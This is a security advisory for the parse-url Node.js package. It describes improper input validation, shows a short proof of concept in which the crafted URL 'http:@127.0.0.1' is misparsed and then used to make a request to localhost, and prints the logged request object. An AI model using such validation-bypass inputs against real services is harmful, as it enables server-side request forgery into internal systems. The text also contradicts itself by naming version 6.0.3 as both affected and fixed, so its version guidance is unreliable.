Summary
Improper Input Validation in parse-url.
Product
parse-url through 6.0.0, and versions 6.0.2, 6.0.3, 6.0.5.
Steps to reproduce
const parseUrl = require("parse-url")
const http = require("http")
url = parseUrl("http:@127.0.0.1")
console.log(url)
console.log(http.get(url.href))
Expected result:
protocols: [],
protocol: 'file',
port: null,
resource: '',
user: '',
pathname: 'http:@127.0.0.1',
hash: '',
search: '',
href: 'http:@127.0.0.1',
query: [Object: null prototype] {}
}
ClientRequest {
_events: [Object: null prototype] {
socket: [Function: bound onceWrapper] { listener: [Function: onSocket] }
},
_eventsCount: 1,
_maxListeners: undefined,
outputData: [
{
data: 'GET / HTTP/1.1rnHost: 127.0.0.1rnConnection: closernrn',
encoding: 'latin1',
callback: [Function: bound onFinish]
}
],
outputSize: 54,
writable: true,
_last: true,
chunkedEncoding: false,
shouldKeepAlive: false,
_defaultKeepAlive: true,
useChunkedEncodingByDefault: false,
sendDate: false,
_removedConnection: false,
_removedContLen: false,
_removedTE: false,
_contentLength: 0,
_hasBody: true,
_trailer: '',
finished: true,
_headerSent: true,
socket: null,
connection: null,
_header: 'GET / HTTP/1.1rnHost: 127.0.0.1rnConnection: closernrn',
_keepAliveTimeout: 0,
_onPendingData: [Function: noopPendingOutput],
agent: Agent {
_events: [Object: null prototype] {
free: [Function],
newListener: [Function: maybeEnableKeylog]
},
_eventsCount: 2,
_maxListeners: undefined,
defaultPort: 80,
protocol: 'http:',
options: { path: null },
requests: {},
sockets: { '127.0.0.1:80:': [Array] },
freeSockets: {},
keepAliveMsecs: 1000,
keepAlive: false,
maxSockets: Infinity,
maxFreeSockets: 256,
maxTotalSockets: Infinity,
totalSocketCount: 1,
scheduling: 'fifo',
[Symbol(kCapture)]: false
},
socketPath: undefined,
method: 'GET',
insecureHTTPParser: undefined,
path: '/',
_ended: false,
res: null,
aborted: false,
timeoutCb: null,
upgradeOrConnect: false,
parser: null,
maxHeadersCount: null,
reusedSocket: false,
host: '127.0.0.1',
protocol: 'http:',
[Symbol(kCapture)]: false,
[Symbol(kNeedDrain)]: false,
[Symbol(corked)]: 0,
[Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', '127.0.0.1' ] }
}Remediation
Update parse-url to 6.0.1 or 6.0.3.
Credit
This issue was reported by @p0cas through huntr.dev.